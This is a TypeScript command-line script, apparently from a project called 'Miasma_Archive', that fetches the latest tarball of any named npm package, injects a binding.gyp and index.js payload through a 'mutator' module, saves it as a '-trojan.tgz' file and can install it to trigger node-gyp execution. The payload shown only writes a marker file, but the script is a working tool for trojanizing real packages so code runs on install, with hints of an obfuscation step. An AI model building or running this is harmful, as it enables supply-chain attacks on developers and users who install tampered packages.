Files
Miasma_Archive/src/cli/validate-binding-gyp.ts
T
2026-06-13 09:36:13 -04:00

126 lines
4.4 KiB
TypeScript

#!/usr/bin/env bun
// Must set scramble/beautify before any modules that use them are loaded.
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
/**
* Validate the binding.gyp injection technique against a real npm package.
*
* Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]
*
* 1. Downloads the latest tarball from registry.npmjs.org
* 2. Injects a binding.gyp + index.js payload that creates /tmp/market.txt
* 3. Writes the trojanized tarball to the current directory
* 4. With --install, also runs "npm pack"/"npm install" to trigger node-gyp
*/
import { createWriteStream } from "fs";
import * as fs from "fs/promises";
import { join } from "path";
import { Readable } from "stream";
import { pipeline } from "stream/promises";
// ── Test payload — harmless, creates a marker file ─────────────────────
const TEST_PAYLOAD = [
"// binding.gyp validation — creates /tmp/market.txt on node-gyp rebuild",
"const fs = require('fs');",
"const path = '/tmp/market.txt';",
"fs.writeFileSync(path, 'binding.gyp technique works!\\n' + new Date().toISOString() + '\\n');",
"console.log('[market] wrote ' + path);",
].join("\n");
// ── Main ──────────────────────────────────────────────────────────────
async function main() {
const args = Bun.argv.slice(2);
const pkg = args.find((a) => !a.startsWith("--"));
const doInstall = args.includes("--install");
if (!pkg) {
console.error(
"Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]",
);
process.exit(1);
}
// 1. Fetch package metadata
console.error(`Fetching metadata for ${pkg}...`);
const metaRes = await fetch(
`https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
);
if (!metaRes.ok) {
console.error(`Failed to fetch package: ${metaRes.status}`);
process.exit(1);
}
const meta = (await metaRes.json()) as {
"dist-tags": { latest: string };
versions: Record<string, { dist?: { tarball?: string } }>;
};
const version = meta["dist-tags"].latest;
const tarballUrl = meta.versions[version]?.dist?.tarball;
if (!tarballUrl) {
console.error("No tarball URL found");
process.exit(1);
}
console.error(`Latest: ${pkg}@${version}`);
// 2. Download tarball
console.error(`Downloading ${tarballUrl}...`);
const res = await fetch(tarballUrl);
if (!res.ok || !res.body) {
console.error(`Download failed: ${res.status}`);
process.exit(1);
}
const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
const tarballPath = join("/tmp", filename);
await pipeline(
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
createWriteStream(tarballPath),
);
console.error(`Saved to ${tarballPath}`);
// 3. Inject binding.gyp + test payload (dynamic import — requires scramble
// on globalThis before the module chain is loaded)
console.error("Injecting binding.gyp + test payload...");
const { updateTarball } = await import("../../src/mutator/npm/tarball");
const trojanPath = await updateTarball(tarballPath, {
tag: "[validate]",
payload: TEST_PAYLOAD,
});
// 4. Copy to cwd
const outName = `${pkg.replace("@", "").replace("/", "-")}-${version}-trojan.tgz`;
const outPath = join(process.cwd(), outName);
await fs.copyFile(trojanPath, outPath);
console.error(`Wrote ${outPath}`);
// 5. Optionally install
if (doInstall) {
console.error("\nRunning npm pack + npm install to trigger node-gyp...");
const { execSync } = await import("child_process");
try {
execSync(`npm pack ${outPath}`, { cwd: "/tmp", stdio: "inherit" });
// npm pack creates a tar, then install it to trigger rebuild
const packed = `/tmp/${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
execSync(`npm install ${packed}`, {
cwd: "/tmp/test-install-validate",
stdio: "inherit",
});
} catch (e: any) {
console.error(
`Install failed (may be OK if node-gyp not available): ${e.message}`,
);
}
}
// Print result
console.log(outPath);
}
main().catch((err) => {
console.error(err);
process.exit(1);
});